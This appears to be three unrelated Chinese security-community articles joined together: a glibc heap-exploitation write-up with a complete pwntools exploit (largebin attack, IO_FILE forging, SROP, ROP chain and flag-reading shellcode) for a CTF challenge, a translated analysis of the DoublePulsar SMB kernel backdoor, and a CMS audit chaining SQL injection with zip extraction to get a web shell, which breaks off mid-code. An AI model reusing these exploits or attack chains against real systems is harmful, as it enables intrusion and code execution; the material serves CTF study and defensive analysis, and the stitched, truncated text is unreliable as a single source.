memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
可以看到程序里面有malloc,memcpy,free等函数，并且参数我们都可以控制因此可以利用这一点来进行非预期的堆块申请释放和填充,而且我们看一下IO_str_overflow的汇编代码可以看到一个有意思的位置：
0x7ffff7e6eb20 <__GI__IO_str_overflow>: repz nop edx
0x7ffff7e6eb24 <__GI__IO_str_overflow+4>: push r15
0x7ffff7e6eb26 <__GI__IO_str_overflow+6>: push r14
0x7ffff7e6eb28 <__GI__IO_str_overflow+8>: push r13
0x7ffff7e6eb2a <__GI__IO_str_overflow+10>: push r12
0x7ffff7e6eb2c <__GI__IO_str_overflow+12>: push rbp
0x7ffff7e6eb2d <__GI__IO_str_overflow+13>: mov ebp,esi
0x7ffff7e6eb2f <__GI__IO_str_overflow+15>: push rbx
0x7ffff7e6eb30 <__GI__IO_str_overflow+16>: sub rsp,0x28
0x7ffff7e6eb34 <__GI__IO_str_overflow+20>: mov eax,DWORD PTR [rdi]
0x7ffff7e6eb36 <__GI__IO_str_overflow+22>: test al,0x8
0x7ffff7e6eb38 <__GI__IO_str_overflow+24>: jne 0x7ffff7e6eca0 <__GI__IO_str_overflow+384>
0x7ffff7e6eb3e <__GI__IO_str_overflow+30>: mov edx,eax
0x7ffff7e6eb40 <__GI__IO_str_overflow+32>: mov rbx,rdi
0x7ffff7e6eb43 <__GI__IO_str_overflow+35>: and edx,0xc00
0x7ffff7e6eb49 <__GI__IO_str_overflow+41>: cmp edx,0x400
0x7ffff7e6eb4f <__GI__IO_str_overflow+47>: je 0x7ffff7e6ec80 <__GI__IO_str_overflow+352>
0x7ffff7e6eb55 <__GI__IO_str_overflow+53>: mov rdx,QWORD PTR [rdi+0x28] <---- 0x7ffff7e6eb59 <__GI__IO_str_overflow+57>: mov r14,QWORD PTR [rbx+0x38]
0x7ffff7e6eb5d <__GI__IO_str_overflow+61>: mov r12,QWORD PTR [rbx+0x40]
0x7ffff7e6eb61 <__GI__IO_str_overflow+65>: xor ecx,ecx
0x7ffff7e6eb63 <__GI__IO_str_overflow+67>: mov rsi,rdx
0x7ffff7e6eb66 <__GI__IO_str_overflow+70>: sub r12,r14
0x7ffff7e6eb69 <__GI__IO_str_overflow+73>: cmp ebp,0xffffffff
0x7ffff7e6eb6c <__GI__IO_str_overflow+76>: sete cl
0x7ffff7e6eb6f <__GI__IO_str_overflow+79>: sub rsi,QWORD PTR [rbx+0x20]
0x7ffff7e6eb73 <__GI__IO_str_overflow+83>: add rcx,r12
0x7ffff7e6eb76 <__GI__IO_str_overflow+86>: cmp rcx,rsi
0x7ffff7e6eb79 <__GI__IO_str_overflow+89>: ja 0x7ffff7e6ec4a <__GI__IO_str_overflow+298>
0x7ffff7e6eb7f <__GI__IO_str_overflow+95>: test al,0x1
0x7ffff7e6eb81 <__GI__IO_str_overflow+97>: jne 0x7ffff7e6ecc0 <__GI__IO_str_overflow+416>
0x7ffff7e6eb87 <__GI__IO_str_overflow+103>: lea r15,[r12+r12*1+0x64]
可以看到在调用malloc之前的 **0x7ffff7e6eb55** 位置 **rdx** 被赋值为 **[rdi+0x28]**
,而此时的rdi恰好指向我们伪造的IO_FILE_plus的头部，而在glibc2.29的版本上setcontext的利用从以前的rdi变为了rdx，因此我们可以通过这个位置来进行新版下的setcontext,进而实现
**srop**
,具体做法是利用非预期地址填充将malloc_hook填充为setcontext，这样在我们进入io_str_overflow时首先会将rdx赋值为我们可以控制的地址，然后在后面malloc的时候会触发setcontext，而此时rdx已经可控，因此就可以成功实现srop
综上可知参数对应关系为：
_flags = 0
_IO_write_ptr = 用于srop的地址（此时同时满足了fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base）
new_buf = malloc(2 * (_IO_buf_end - _IO_buf_base ) + 100)
memcpy(new_buf，_IO_buf_base，_IO_buf_end - _IO_buf_base)
free(_IO_buf_base)
### glibc2.30下的largebin attrack
首先看一下源码
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
可以看到在将unsortedbin放入largbin的时候，程序在unsortedbin size > largbin size的时候加了一个检查
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
而这个位置正是我们平时常用的位置，但是同时可以看到在size小于的时候没有加这个检查，因此我们可以通过这一点来进行glibc2.30下的largebin
attrack,具体做法是首先在largbin中添加一个堆块，同时释放一个比它小并且在同意index的堆块进unsortedbin,改变largbin的bk_nextsize为targetaddr-0x20,然后我们申请一个free之后可以放入unsortedbin的堆块,这是会将unsortedbin放入largbin,并执行下面的流程
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
而largbin->_bk_nexsize已经被劫持成了targetaddr-0x20了，因此会像targetaddr-0x20->fd_nextsize写入largbin堆块的值，即向targetaddr写入堆地址，然后我们free我们申请的这个堆块的时候就会和剩下的unsortedbin堆块合并，重新放入unsortedbin中，达到复用的效果
## 攻击流程
此种方法一般结合largebin attrack,因为largebin attrack可以实现任意地址填充堆地址，因此我们可以利用largebin
attrack将io函数的_chain字段劫持为堆地址，然后当程序退出的时候会刷新程序流此时会进入我们伪造的io_file中实现我们的攻击,下面我们用我出的一个例题来具体体会一下该方法的威力
## 练习
此题为HWS – cookie，由于一些特殊原因就暂不提供附件了，师傅们可以根据分析写一个类似的题目
### 分析：
该题为glibc2.31,程序有add del edit
show功能，在del里面有着明显的uaf漏洞，并且开了沙盒，add的时候只能申请largebin范围的堆块并且不超过0x600
### 利用：
我们考虑使用largebin
attrack劫持stderr->_chain字段为一个堆地址并且劫持global_max_fast为堆地址用来构造chunkoverlapping,通过chunkoverlapping在0xa0的bin中留下两个堆块，其中一个是malloc_hook,然后我们利用io_file的非预期堆块申请申请到malloc_hook同时用非预期填充将malloc_hook填充为setcontext,这样在进入下一个fake
IO_FILE的时候就会触发srop进而orw出flag,由此我们需要构造三个fake
IO_FILE_plus，前两个用来申请到malloc_hook并且将malloc_hook填充为setcontext,最后一个用来设置rdx的值同时触发srop,
### 调试
我们进行简单的调试直观的看一下，首先我们通过chunkoverlapping来在0xa0的堆块中放入两个堆块，此时的bin:
然后我们看一下我们的fake IO_FILE_plus
**Fake IO_FILE_plus1(malloc(0x90))**
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #rdx
payload += p64(heap_base+0x10+0x290)+p64(heap_base+22+0x10+0x290)+p64(0)*4 #size
payload += p64(heap_base+0x1a90)+p64(0)+p64(0)+"\x00"*8 #_chain
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
可以看到第二行的两个地址差22，而通过我们的size计算可以得出size = (0x90-100)/2 = 22
执行完之后：
**Fake IO_FILE_plus2(malloc(0x90) && hijack malloc_hook = setcontext)**
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #rdx
payload += p64(heap_base+0x30+0x290)+p64(heap_base+22+0x30+0x290)+p64(0)*4 #size
payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"\x00"*8 #chain
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
执行之后：
可以看到已经成功将malloc_hook劫持为setcontext,接下来执行第三个IO_FILE_plus就会触发srop，orw出flag
**Fake IO_FILE_plus3:(srop)**
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
payload += p64(heap_base+0x50+0x290)+p64(heap_base+22+0x50+0x290)+p64(0)*4
payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"\x00"*8
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
### 完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*- # @Author: cnitlrt
import sys
import os
import re
from pwn import *
# context.log_level = 'debug'
binary = './cookie'
elf = ELF('./cookie')
libc = elf.libc
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = sys.argv[1]
port = sys.argv[2]
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def cmd(idx):
sla(">>",str(idx))
def add(size,payload):
cmd(1)
sla("Size:\n",str(size))
sa("Content:\n",payload)
def show(idx):
cmd(3)
sla("Index:\n",str(idx))
def free(idx):
cmd(2)
sla("Index:\n",str(idx))
def edit(idx,payload):
cmd(4)
sla("Index:\n",str(idx))
sa("Content:\n",payload)
def ss():
gdb.attach(p)
pause()
def exp():
add(0x458,"aaaa")
add(0x500,"aaaa")
add(0x468,"aaaa")
add(0x500,"aaaa")#3
add(0x500,"aaaa")#4
add(0x500,"aaaa")#5
add(0x500,"aaaa")#6
add(0x500,"aaaa")#7
add(0x500,"aaaa")#8
#leak libc_base
free(2)
show(2)
libc_base = l64()-libc.sym['__malloc_hook']-0x10-96
lg("libc_base",libc_base)
#put chunk2 into largebin
add(0x600,"aaaa")#9
#leak heap_base
edit(2,"a"*0x19)
show(2)
ru("a"*0x18)
heap_base = u64(p.recv(6).ljust(8,"\x00"))-0xc61
lg("heap_base",heap_base)
#put chunk0 into unsortedbin
free(0)
#hijack stderr->_chain = chunk2
edit(2,p64(0)*3+p64(0x1ec628+libc_base-0x20))#stderr->_chain
add(0x448,"aaa")#10
free(10)
#hijack global_max_fast = chunk2
edit(2,p64(0)*3+p64(0x1eeb80+libc_base-0x20))#global_max_fast
add(0x448,"aaa")#11
#chunk overlapping
edit(3,"a"*0x40+p64(0)+p64(0x511))
edit(4,"a"*0x30+p64(0)+p64(0x21)*10)
free(3)
edit(3,p64(heap_base+0x10c0))
add(0x500,"aaa")
add(0x500,"ddd")#13
edit(4,"a"*0x90+p64(0)+p64(0x471))
edit(13,"a"*0x4b0+p64(0)+p64(0xa1))
#fastbin attrack
free(4)
edit(4,p64(libc.sym["__malloc_hook"]+libc_base-0x10)+p64(0))
free(4)
edit(4,p64(libc.sym["__malloc_hook"]+libc_base-0x10)+p64(0))
"""
tcachebins
0xa0 [ 2]: 0x56074fb96590 —▸ 0x7f116d446b60 (__memalign_hook) —▸ 0x7f116d2f8570 (memalign_hook_ini) ◂— ...
fastbins
"""
payload = p64(0x580dd+libc_base)+p64(0x21) #setcontext
edit(0,payload*50)
#malloc(0x90)
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
payload += p64(heap_base+0x10+0x290)+p64(heap_base+22+0x10+0x290)+p64(0)*4
payload += p64(heap_base+0x1a90)+p64(0)+p64(0)+"\x00"*8
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
edit(2,payload)
#malloc(0x90) && set malloc_hook = setcontext
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
payload += p64(heap_base+0x30+0x290)+p64(heap_base+22+0x30+0x290)+p64(0)*4
payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"\x00"*8
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
edit(5,payload)
#trigger && rdx = QWORD PTR [rdi+0x28] = heap_base+0x29d0
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
payload += p64(heap_base+0x50+0x290)+p64(heap_base+22+0x50+0x290)+p64(0)*4
payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"\x00"*8
payload += p64(0)*4+"\x00"*48
payload += p64(0x1ed560+libc_base)
edit(6,payload)
# ss()
free_hook = libc_base+libc.sym["__free_hook"]
free_hook1 = free_hook&0xfffffffffffff000
syscall = libc_base+0x0000000000066229
#fakeframe
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
edit(8,str(frame))
poprdi = 0x0000000000026b72+libc_base
poprsi = libc_base+0x0000000000027529
pop2rdx = libc_base+0x000000000011c1e1
poprax = libc_base+0x000000000004a550
#mprotect(free_hook1,0x2000,7) && orw shellcode
payload = [poprdi,free_hook1,poprsi,0x2000,pop2rdx,0x7,0]
payload += [poprax,10,syscall,free_hook1+0x58]
sc = shellcraft.open("flag",0)
sc += shellcraft.read("rax",free_hook1+0x300,0x40)
sc += shellcraft.write(1,free_hook1+0x300,0x40)
cmd(5)
p.send(flat(payload)+asm(sc))
p.interactive()
if __name__ == "__main__":
exp()
## 总结：
该方法我觉得作用很大，可以在功能不够用的时候或存在限制的时候实现非预期申请释放和填充堆块，用的熟练的话可以达到意想不到的效果 | 社区文章 |
# 【技术分享】NSA武器库：DoublePulsar初始SMB后门shellcode分析
|
##### 译文声明
本文是翻译文章，文章来源：zerosum0x0.blogspot.com
原文地址：<https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **myswsun**](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：190RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
* * *
[**【漏洞分析】NSA Eternalromance （永恒浪漫）
漏洞分析**](http://bobao.360.cn/learning/detail/3747.html)
[**【漏洞分析】MS 17-010：NSA Eternalblue SMB
漏洞分析**](http://bobao.360.cn/learning/detail/3738.html)
**0x00 前言**
大约在一个月前，Shadow
Brokers（影子经纪人）泄露了方程式组织（为NSA效力的黑客组织）的软件FuzzBunch，一个类似于Metasploit的利用框架。这个框架中有几个针对Windows的未认证的远程利用（如EternalBlue,
EternalRomance和 EternalSynergy）。很多利用的漏洞在MS17-010中被修复了，它可能是近十年来最关键的Windows补丁。
提示：你能使用我的[ **MS17-010 Metasploit auxiliary
module**](https://zerosum0x0.blogspot.com/2017/04/ms17-010-smb-rce-metasploit-scanner.html)来扫描你网络中没有打补丁的系统。如果没有安装补丁，还会检查是否感染DoublePulsar。
**0x01 介绍**
DoublePulsar是FuzzBunch中SMB和RDP利用中使用的主要的payload。下面分析是在Windows Server 2008 R2
SP1 x64上使用EternalBlue SMBv1/SMBv2 exploit完成的。
Shellcode基本上执行了下面几个步骤：
**步骤0：** 判断x86还是x64。
**步骤1：** 从[
**KPCR**](https://en.wikipedia.org/wiki/Processor_Control_Region)中定位[
**IDT**](http://wiki.osdev.org/Interrupt_Descriptor_Table)，从第一个中断处理反向遍历找到ntoskrnl.exe的基址（DOS
MZ头）。
**步骤2：**
读取ntoskrnl.exe的导出目录，并使用哈希（和应用层shellcode类似）来找到ExAllocatePool/ExFreePool/ZwQuerySystemInformation函数地址。
**步骤3：**
使用枚举值SystemQueryModuleInformation调用ZwQuerySystemInformation，得到一个加载驱动的列表。通过这个定位到Srv.sys，一个SMB驱动。
**步骤4：**
将位于SrvTransaction2DispatchTable[14]的SrvTransactionNotImplemented()函数指针指向自己的hook函数。
**步骤5：** 使用辅助的DoublePulsar
payload（如注入dll），hook函数检查是否正确运行并分配一个可执行的缓冲区来运行原始的shellcode。所有的其他请求直接转发给原始的SrvTransactionNotImplemented()函数。"Burning"
DoublePulsar不会完全擦除内存中hook函数，只是休眠它。
在利用后，你能看到缺少SrvTransaction2DispatchTable符号。在这里应该有两个处理程序与SrvTransactionNotImplemented符号。这是DoublePulsar后门（数组索引14）：
我真的很好奇这个payload，在Countercept的[DLL注入代码](https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/)分析之外没有看到很多它的细节。但是我很好奇初始SMB后门是如何安装的，这也是本文的内容。
使用IA32_LSTAR系统调用MSR（0xc000082）和包含FEFE的Srv.sys的区域的EternalBlue利用中有一些有趣的设置，但是我将专注于原始的DoublePulsar的方法…很像EXTRABACON
shellcode，这个非常狡猾并不只是产生一个shell。
**0x02 shellcode详细分析**
在shadow
brokers的转储中你能找到DoublePulsar.exe和EternalBlue.exe。当你使用FuzzBunch中的DoublePulsar，有个选项是将它的shellcode输出到一个文件中。我们还发现EternalBlue.exe包含了它自己的payload。
**步骤0：判断CPU架构**
主payload非常大，因为它包含x86和x64的shellcode。前面一些字节使用操作码技巧来决定正确的架构（参考我之前的文章[
**汇编架构检测**](https://zerosum0x0.blogspot.com/2014/12/detect-x86-or-x64-assembly-stub.html)）。
下面是x86头几个字节。
你该注意到inc eax意思是je指令不执行。接着是一个call和pop，获取正确的指令指针。
下面是x64的：
其中inc eax由rex替换。因此zf标志寄存器由xor eax,eax操作设置。因为x64有RIP相对寻址，不需要获取RIP寄存器。
X86的payload和x64的基本一样，所以这里只关注x64。
由于NOP在x64中一个真正的NOP，我使用16进制编辑器用CC CC（int 3）覆写40 90。中断3是调试器的软件断点。
现在执行利用，我们附加的内核调试器将自动断点在shellcode开始执行处。
**步骤1：找到ntoskrnl.exe的基址**
一旦shellcode判断是在x64上面运行，它将开始搜索ntoskrnl.exe的基地址。代码片段如下：
相当简单的代码。在用户模式下，x64的GS段包含[ **线程信息块**
（](https://en.wikipedia.org/wiki/Win32_Thread_Information_Block)TIB）,其保存了[
**进程环境块**](http://blog.rewolf.pl/blog/?p=573)（PEB），该结构包含了当前运行进程的各种信息。在内核模式中，这个段寄存器包含[
**内核进程控制区**](https://en.wikipedia.org/wiki/Processor_Control_Region)（KPCR），其中偏移0处包含当前进程的PEB。
该代码获取KPCR的偏移0x38处，是IdtBase并包含一个[
**KIDTENTRY64**](http://doar-e.github.io/blog/2013/10/12/having-a-look-at-the-windows-userkernel-exceptions-dispatcher/)结构的指针。在x86中很熟悉，能知道这是[
**中断描述符表**](http://wiki.osdev.org/Interrupt_Descriptor_Table)。
在KIDTENTRY64的偏移4，你能得到中断处理的函数指针，其代码定义在ntoskrnl.exe中。从那里按页大小（0x1000）增长反向搜索内存中.exe的DOS
MZ头（cmp bx,0x5a4d）。
**步骤2：定位必要的函数指针**
一旦你知道了PE文件的MZ头的位置，你能定位到[
**导出目录**](https://win32assembly.programminghorizon.com/pe-tut7.html)，并得到你想要的函数的相对虚拟地址。用户层的shellcode一直能做到这个，通常是找到ntdll.dll和kernel32.dll的一些必要的函数。只需要和用户层shellcode一样，ring0
shellcode也使用哈希算法代替硬编码字符串，以便找到必要的函数。
下面是要找的函数：
[**ZwQuerySystemInformation**](http://ZwQuerySystemInformation%20ExAllocatePool%20ExFreePool)
[**ExAllocatePool**](https://msdn.microsoft.com/en-us/library/windows/hardware/ff544501\(v=vs.85\).aspx)
[**ExFreePool**](https://msdn.microsoft.com/en-us/library/windows/hardware/ff544590\(v=vs.85\).aspx)
ExAllocatePool能用来创建可执行内存区域，并且ExFreePool能用来清理内存区域。这些是重要的，因此shellcode能为它的hook函数和其他函数分配空间。ZwQuerySystemInformation在下一步中是重要的。
**步骤3：定位SMB驱动Srv.sys**
使用SystemQueryModuleInformation（0xb）调用ZwQuerySystemInformation能实现。得到所有加载的驱动的列表。
Shellcode在这个列表中搜索两个不同的哈希，定位到Srv.sys，这是SMB运行的主要驱动。
过程和用户层一样，通过PEB->Ldr得到，遍历搜索加载的DLL。这里要查找的是SMB驱动。
**步骤4：Patch SMB的trans2派遣表**
现在DoublePulsar已经有了主要的SMB驱动，它遍历.sys的PE节，直到找到.data节。
.data节中通常是全局读写内存，在这里存储着SrvTransaction2DispatchTable，一个处理不同的SMB任务的函数指针数组。
Shellcode分配一些内存并实现函数hook。
接下来shellcode存储派遣函数SrvTransactionNotImplemented()的函数指针（以便能在hook函数中调用）。然后使用hook覆盖SrvTransaction2DispatchTable中的这个成员。
后门完成了。现在它返回到它自己的调用栈，并做一些小的清理操作。
**步骤5：发送“Knock”和原始的shellcode**
当DoublePulsar发送了指定的“knock”请求（被视为不可靠的SMB调用），派遣表调用hook的假的SrvTransactionNotImpletemented()函数。能观察到奇怪的行为：正常的SMB响应MultiplexID必须匹配SMB请求的MultiplexID，但是增加了delta作为一个状态码。
操作能够隐身，在Wireshark中没有合适的解析。
状态码（通过MultiplexID delta）：
0x10 = 成功
0x20 = 不可靠的参数
0x30 = 分配失败
操作列表：
0x23 = ping
0xc8 = exec
0x77 = kill
你能使用下面的算法得到操作码：
反之，你能使用这个算法制作包，其中k是随机生成的：
在一个Trans2 SESSION_SETUP请求中发送一个ping操作将得到一个响应，其中包含需要为exec请求计算的XOR密钥的一部分。
“XOR密钥”的算法是：
更多的shellcode能使用Trans2
SESSION_SETUP请求和exec操作发送。使用XOR密钥作为基本流密码，一次性在数据包4096字节的“数据payload”部分中发送。后门将分配一块可执行内存区域，解密复制shellcode并运行。注入dll的payload能注入你想要的DLL。
我们能看见hook被安装在SrvTransaction2DispatchTable+0x70 (112/8 = index 14)处：
全部的汇编在[
**这里**](https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1)。
**0x03 总结**
这是一个复杂的多平台的SMB后门。它是一个非常酷的payload，因为你能感染一个系统，驻留，并能在你想要的时候做更多的事。它在系统中找到了一个很好的隐藏位置，并且不会触[
**PatchGuard**](https://en.wikipedia.org/wiki/Kernel_Patch_Protection)。
通常我们只能在本地漏洞利用看到内核shellcode，因为它会变换进程令牌以便提权。然而，微软在内核中做了很多网络相关的事，例如Srv.sys和HTTP.sys。所描述的技术在很多方式完全符合远程利用中用户模式的shellcode的操作方式。
当它移植到Metasploit中，我可能不会逐字节复制，而是跳过后门的想法。它不是最安全的，因为它不再是秘密，任何人都可以使用你的后门。
下面是可以代替做的事：
1\. 和DoublePulsar相同的方式获得ntoskrnl.exe地址，并读取导出目录获得必要的函数。
2\. 启动一个隐藏的进程（如notepad.exe）
3\. 使用Meterpreter payload插入APC
4\. 恢复进程，退出内核
5\. ？？？
6\. 收获
**传送门**
* * *
[**【漏洞分析】NSA Eternalromance （永恒浪漫）
漏洞分析**](http://bobao.360.cn/learning/detail/3747.html)
[**【漏洞分析】MS 17-010：NSA Eternalblue SMB
漏洞分析**](http://bobao.360.cn/learning/detail/3738.html) | 社区文章 |
# 前言
首先这个文件上传的漏洞点只能上传压缩包，因此并不能直接getshell。
这里的组合原理是通过sql注入漏洞拿到数据库中存放的压缩包信息，然后利用压缩包信息去构造payload触发解压缩操作，最终实现getshell。
审计的cms名为5iSNS内容付费系统，代码规模并不大，但是漏洞点比较有趣，故分享此文。
源码的下载地址：<http://down.chinaz.com/soft/39377.htm>
源码的官网地址：<http://www.imzaker.com/>
# 1\. sql注入漏洞
其实乍一看他的数据库连接函数，都带有pdo的字样，但是跟进去具体瞧一瞧才发现其实还是用了很多的原生处理，如转义等操作，并没有完全做到预编译。
最初的入口漏洞代码位于5isns/basephp/func/db.func.php第241行
function db_find_one($table, $cond = array(), $orderby = array(), $col = array(), $d = NULL) {
$db = $_SERVER['db'];
// 高效写法，定参有利于编译器优化
$d = $d ? $d : $db;
if(!$d) return FALSE;
return $d->find_one($table, $cond, $orderby, $col);
}
这里对应的其实就是最简单的select功能，这里需要重点关注$cond这个参数，这其实就是我们用户传入的键值对。跟进到find_one函数中去，代码位于5isns/basephp/class/db_pdo_mysql.class.php第156行
public function find_one($table, $cond = array(), $orderby = array(), $col = array()) {
$cond = db_cond_to_sqladd($cond);
$orderby = db_orderby_to_sqladd($orderby);
$cols = $col ? implode(',', $col) : '*';
return $this->sql_find_one("SELECT $cols FROM {$this->tablepre}$table $cond$orderby LIMIT 1");
}
这里开始就有点类似于那种pdo的样子，占位传输，我们仅需跟进到db_cond_to_sqladd函数，代码位于5isns/basephp/func/db.func.php第295行
// 格式：
array('id'=>123, 'groupid'=>123)
array('id'=>array(1,2,3,4,5))
array('id'=>array('>' => 100, '<' => 200))
array('username'=>array('LIKE' => 'jack'))
array('id'=>array('!=' => array(2,9))) not in
*/
function db_cond_to_sqladd($cond) {
$s = '';
if(!empty($cond)) {
$s = ' WHERE ';
foreach($cond as $k=>$v) {
if(!is_array($v)) {
$v = (is_int($v) || is_float($v)) ? $v : "'".addslashes($v)."'";
$s .= "`$k`=$v AND ";
} elseif(isset($v[0])) {
// OR 效率比 IN 高
$s .= '(';
//$v = array_reverse($v);
foreach ($v as $v1) {
$v1 = (is_int($v1) || is_float($v1)) ? $v1 : "'".addslashes($v1)."'";
$s .= "`$k`=$v1 OR ";
}
$s = substr($s, 0, -4);
$s .= ') AND ';
/*
$ids = implode(',', $v);
$s .= "$k IN ($ids) AND ";
*/
} else {
foreach($v as $k1=>$v1) {
if($k1 == 'LIKE') {
$k1 = ' LIKE ';
$v1="%$v1%";
}
if($k1=='!='&&is_array($v1)){//用于执行not in 查询
foreach($v1 as $v2) {
$s .= "`$k`$k1$v2 AND ";
}
continue;
}
$v1 = (is_int($v1) || is_float($v1)) ? $v1 : "'".addslashes($v1)."'";
if(strrpos($k,'CONCAT')!==false){
$s .= "$k$k1$v1 AND ";
}else{
$s .= "`$k`$k1$v1 AND ";
}
}
}
}
$s = substr($s, 0, -4);
}
return $s;
}
从第一个foreach开始取get或者post中的键名和对应的值，但是这里的is_array($v)引起了我的警觉，假设我们的传入一个参数例如id[test]=1，那么来看看会发生什么
从图中可以看到这里的id作为键，test和1作为array，那么其中的test其实就是value中的键，因此会进入到程序中的最后一个循环，这里重新梳理下程序流程
function db_cond_to_sqladd($cond) {
$s = '';
if(!empty($cond)) {
$s = ' WHERE ';
foreach($cond as $k=>$v) {
if(!is_array($v)) {
……
} elseif(isset($v[0])) {
……
} else {
foreach($v as $k1=>$v1) {
……
$v1 = (is_int($v1) || is_float($v1)) ? $v1 : "'".addslashes($v1)."'";
if(strrpos($k,'CONCAT')!==false){
……
}else{
$s .= "`$k`$k1$v1 AND ";
}
}
}
}
$s = substr($s, 0, -4);
}
return $s;
}
重新梳理下，如果我们输入id[test]=1，那么最终$k1就会等于test，$v1就会等于1，最终拼接的语句就为`id`test\'1',那么这里我们就能直接控制test这个变量，需要注意的是在这类注入漏洞中不能使用等于号，因此这里注入漏洞可以使用in语句或者like语句来替代等于号的功能。
# 2\. 文件上传
由于前台用户是无限制注册的，因此这里在上传压缩包的时候虽然需要用户权限，但是等同于无限制，另外在上传文档的时候由于需要后台管理员审核，因此在前台上传文档后是看不到任何相关信息，但是压缩包和文档的相关信息其实都已经存在数据库里了，这里通过sql注入漏洞都可以拿到。
$path = $conf['upload_path'].$allowtype.'/'.$day;
$url = $conf['upload_url'].$allowtype.'/'.$day;
这里的$allowtype为attach，也就是上传的压缩包是会写入到attach目录下，为后面埋下伏笔。。
# 3\. 漏洞组合
由于最终目标是getshell，但是通过sql注入拿到管理员账号和密码，登录进后台发现并没有能够getshell的漏洞，因此挖掘重点就在怎么解压缩先前这个压缩包，如果能够解压缩那么就能够获得压缩包中的shell文件，达到getshell的目的。所以接下来开始搜索跟解压缩相关的函数。
解压缩的通用代码位于5isns/basephp/func/xn_zip.func.php第36行
function xn_unzip($zipfile, $extdir) {
if(class_exists('ZipArchive')) {
$z = new ZipArchive;
if($z->open($zipfile) === TRUE) {
$z->extractTo($extdir);
$z->close();
}
} else {
include_once BASEPHP_FUNPATH.'xn_zip_old.func.php';
xn_unzip_old($zipfile, $extdir);
}
}
这里的功能其实就是解压缩，下面开始搜索调用该函数的相关代码，在一处前台无需用户权限的代码里看到了调用，漏洞代码位于5isns/app/index/controller/doc.php
elseif($action == 'upload'){
$num = param('num');
$data['file'] = $_FILES['file'];
$data['page'] = intval(param('page'));//file_get_contents("php://input");
$data['sha1'] = param('sha1');
$data['token'] = param('token');
